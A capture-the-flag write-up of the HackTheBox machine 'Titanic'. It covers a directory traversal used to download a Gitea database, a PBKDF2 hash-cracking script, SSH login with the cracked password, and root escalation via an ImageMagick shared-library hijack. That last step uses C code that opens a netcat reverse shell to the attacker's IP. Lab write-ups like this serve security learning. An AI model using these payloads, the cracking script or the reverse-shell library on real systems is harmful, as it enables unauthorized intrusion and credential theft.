![[Intro_image.png]]
## Summary of Exploitation
Today I pwned Titanic from HacktheBox. Titanic was an "easy" box that required some patience and thorough enumeration. I started with the discovery of a Gitea instance running on a subdomain dev. The code in the repository showed the location to the Gitea config files. I was able to download the contents of the Gitea database file by exploiting a directory traversal vulnerability. Once credentials were obtained, I was able to log in via SSH. From there, I discovered a vulnerable version of ImageMagic which made it possible to execute root commands.
## Recon Phase
I started with my tried and true nmap scan.
`sudo nmap -sC -sV -p- --min-rate 10000 10.129.211.231 -oA nmap-out`
```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-16 15:07 EST
Nmap scan report for 10.129.211.231
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.64 seconds
```
| Port | Protocol | Protocol Details |
| ---- | -------- | ------------------- |
| 22 | SSH | OpenSSH 8.9p1 |
| 80 | http | Apache httpd 2.4.52 |
Looks like we are dealing with an Ubuntu Linux webserver. I'll go ahead and add titanic.htb to my etc/hosts file.
![[etchosts_titanic.png]]
I'll navigate to the site and see what we got at `http://titanic.htb`
![[webpage_titanic.png]]
Not really sure what I was expecting, but this made sense. The real Titanic had 4 smoke stacks not 6, but I understand, I like AI images too.
I clicked around and it looks like the book feature is the only thing clickable. Clicking it shows a little modal to book a trip.
![[book_modal_titanic.png]]
I went ahead and filled out the booking and it downloaded a json file to my machine containing what I inputted.
![[downloaded_json.png]]
I'm going to open Burp Suite and capture that request.
![[capture_book_request.png]]
First a POST request is sent to /book containing the data I inputted. What's interesting is the response.
![[book_response_titanic.png]]
I'll forward the request so I can intercept the GET request for the download, It's possible I could download other files.
![[download_request_titanic.png]]
Instead of grabbing that json file, what if instead I try to grab `/etc/passwd`
![[directory_traversal_titanic.png]]
Well alright! I looked around for a bit and couldn't find anything to move forward, other than a user on the machine "developer". I'll come back to this.
I'm going to use ffuf to see if there are any hidden subdomains.
`ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.titanic.htb" -u http://titanic.htb`
I'll wait for the spill and filter accordingly
![[Spill_titanic.png]]
`ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.titanic.htb" -u http://titanic.htb -fl 10`
![[Found_subdomain_titanic.png]]
Nice, I found dev. I'll add this new subdomain to my `/etc/hosts` file.
![[etchosts_titanic_subdomain.png]]
I'll navigate to it and see what secrets it holds.
![[Gitea_repo_titanic.png]]
Nice, it's a local repository for their application. Clicking "Explore" I can see that developer has 2 repositories.
![[teo_repos_titanic.png]]
The flask app is cool and all, but I'm more interested in the docker-config. Since I have read access, I can crawl around the repo and see if they exposed any critical information.
![[critical_information_gitea_titanic.png]]
Perfect!
## Exploitation Phase
This is great, I have the path to the gitea data. Gitea stores critical information in the app.ini file. According to the documentation, I can assume as to where that file may be.
`../home/developer/gitea/data/conf/app.ini`
`../home/developer/gitea/data/<custom>/conf/app.ini`
If it isn't in the top option, I'll have to bruteforce for other custom directories. Unfortunately for me, it was not the top option.
![[no_giteadb_file_titanic.png]]
Since I have no idea where anything is, I'm going to use ffuf to bruteforce some directories.
`ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://titanic.htb/download\?ticket\=../../../../../../home/developer/gitea/data/FUZZ -t 10 -e ".db,.ini"`
![[ffuf_bruteforce_one_titanic.png]]
I'll check out git.
`ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://titanic.htb/download\?ticket\=../../../../../../home/developer/gitea/data/git/FUZZ -t 10 -e ".db,.ini"`
![[ffuf_bruteforce_two_ssh_titanic.png]]
I'll check out .ssh.
`ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://titanic.htb/download\?ticket\=../../../../../../home/developer/gitea/data/git/.ssh/FUZZ -t 10 -e ".db,.ini"`
![[the_dot_ssh_dir_titanci.png]]
I'll download that environment file using curl.
`curl 'http://titanic.htb/download?ticket=../../../../../../home/developer/gitea/data/git/.ssh/environment' -v`
![[Actual_location_of_giteadb.png]]
Alas, the custom location! `/data/gitea` my stupid directory lists didn't contain "Gitea", would have saved me a headache. Now I can grab that ini file.
`curl 'http://titanic.htb/download?ticket=../../../../../../home/developer/gitea/data/gitea/conf/app.ini' > app.ini`
There is a ton of good information in this file. but I'm after the database, this file shows me the location.
![[dblocation_titanic.png]]
I'll download this db file using curl.
`curl 'http://titanic.htb/download?ticket=../../../../../../home/developer/gitea/data/gitea/gitea.db' > gitea.db`
And I'll dump the user table using sqlite3
```
sqlite3 gitea.db
sqlite3> select * from user;
```
```
1|administrator|administrator||
[email protected]|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|172
2597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|
[email protected]|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||
[email protected]|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|172260
3397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|
[email protected]|0|0|0|0|2|0|0|0|0||gitea-auto|0
```
It leaves me with a bit of a mess, but after some googling and research I understand what I'm looking for.
First of all, I'm after the developer user credentials so I can strip everything else leaving me with the one entry.
```
2|developer|developer||
[email protected]|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|172260
3397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|
[email protected]|0|0|0|0|2|0|0|0|0||gitea-auto|0
```
Now in order to crack this, I'm following a guide from "The CyberSec Guru" [here](https://thecybersecguru.com/ctf-walkthroughs/mastering-compiled-beginners-guide-from-hackthebox/). Cracking with hashcat or john wasn't too straight forward.
They provided a script that will easily crack this hash, we just have to isolate the password hash and the salt. Script Kiddie powers ACTIVATE!
```
Hash : e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
Salt : 8bf3e3452b78544f8bee9400d6936d34
```
```
import hashlib
import binascii
from pwn import log
# Parameters from gitea.db
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') # 16 bytes
key = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dklen = 50
iterations = 50000
def hash(password, salt, iterations, dklen):
hashValue = hashlib.pbkdf2_hmac(
hash_name='sha256',
password=password,
salt=salt,
iterations=iterations,
dklen=dklen,
)
return hashValue
# Crack
dict = '/usr/share/wordlists/rockyou.txt'
bar = log.progress('Cracking PBKDF2')
with open(dict, 'r', encoding='utf-8') as f:
for line in f:
password = line.strip().encode('utf-8')
hashValue = hash(password, salt, iterations, dklen)
target = binascii.unhexlify(key)
# log.info(f'Our target is: {target}')
bar.status(f'Trying: {password}, hash: {hashValue}')
if hashValue == target:
bar.success(f'Found password: {password}!')
break
bar.failure('Hash is not crackable.')
```
I'm going to run this in a python virtual environment.
```
python3 -m venv cracker
source ./cracker/bin/activate
pip3 install pwn
python3 cracker.py
```
This took a little too long for comfort, I almost thought I was on the wrong path. After some time though, it eventually cracked.
```
> python3 cracker.py
[+] Cracking PBKDF2: Found password: b'25282528'!
```
Do these number work with ssh?
```
> ssh
[email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Feb 16 10:14:02 PM UTC 2025
System load: 0.0
Usage of /: 72.7% of 6.79GB
Memory usage: 15%
Swap usage: 0%
Processes: 227
Users logged in: 0
IPv4 address for eth0: 10.129.211.231
IPv6 address for eth0: dead:beef::250:56ff:feb0:8f77
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
developer@titanic:~$
```
Fantastic! I can grab the user flag!
```
developer@titanic:~$ cat user.txt
d27c3***************************
```
## Priv-Esc to root
I immediately start with my usual checks, first is `sudo -l`
```
developer@titanic:~$ sudo -l
[sudo] password for developer:
Sorry, user developer may not run sudo on titanic.
```
I'll check for running processes using `ps -aux`
![[running_process_titanitc.png]]
Nothing fantastic.
Lastly, I'll look at `/opt`
`ls -la /opt`
```
developer@titanic:~$ ls -la /opt
total 20
drwxr-xr-x 5 root root 4096 Feb 7 10:37 .
drwxr-xr-x 19 root root 4096 Feb 7 10:37 ..
drwxr-xr-x 5 root developer 4096 Feb 7 10:37 app
drwx--x--x 4 root root 4096 Feb 7 10:37 containerd
drwxr-xr-x 2 root root 4096 Feb 7 10:37 scripts
```
Any interesting custom scripts?
```
developer@titanic:/opt/scripts$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Feb 7 10:37 .
drwxr-xr-x 5 root root 4096 Feb 7 10:37 ..
-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh
```
`cat identify_images`
```
developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```
This script is using ImageMagick to identify new images in the `/opt/app/static/assets/images` directory. Once discovered, it writes the output into a metadata.log file as root.
I'll drop my own jpg image in that directory and see if it runs the script.
`wget http://10.10.14.117/testImage.jpg`
After a minute or so, the metadata.log updated containing my test image.
```
developer@titanic:/opt/app/static/assets/images$ cat metadata.log
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.010u 0:00.003
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u 0:00.000
/opt/app/static/assets/images/testImage.jpg JPEG 3440x1337 3440x1337+0+0 8-bit sRGB 1.25728MiB 0.000u 0:00.000
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.000u 0:00.000
```
I know that ImageMagick has not always had the best reputation. I'm going to run it and grab the version.
```
developer@titanic:/opt/app/static/assets/images$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
```
I'll pass this version 7.1.1-35 to the google oracle machine and see what comes back.
![[Top_exploit_result.png]]
The first item to return is dated from 2024, and references RCE.
![[exploitExplantion_titanic.png]]
This is promising and the POC is incredibly simple. I simply have to drop a malicious shared library in the working directory. I'll give this a try.
I'll create a file called exploit.c in the `/opt/app/static/assets/images` directory with the following contents.
```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("busybox nc 10.10.14.117 9001 -e /bin/bash");
exit(0);
}
```
I'll set a netcat listener on port 9001.
`sudo nc -lvnp 9001`
Then I'll run the following command to compile the script.
`gcc -shared -fPIC -o libxcb.so.1 exploit.c`
After a minute or so, I should see a catch on my listener.
```
> sudo nc -lvnp 9001
[sudo] password for kali:
listening on [any] 9001 ...
connect to [10.10.14.117] from (UNKNOWN) [10.129.211.231] 57464
id
uid=0(root) gid=0(root) groups=0(root)
```
I can now grab the root flag!
```
cat /root/root.txt
35081***********************
```
Nice! This was a fun machine, It had some ups and downs and took me a bit longer than I would have liked, especially for an easy machine. I'm sure my family will forgive me. Happy Hacking!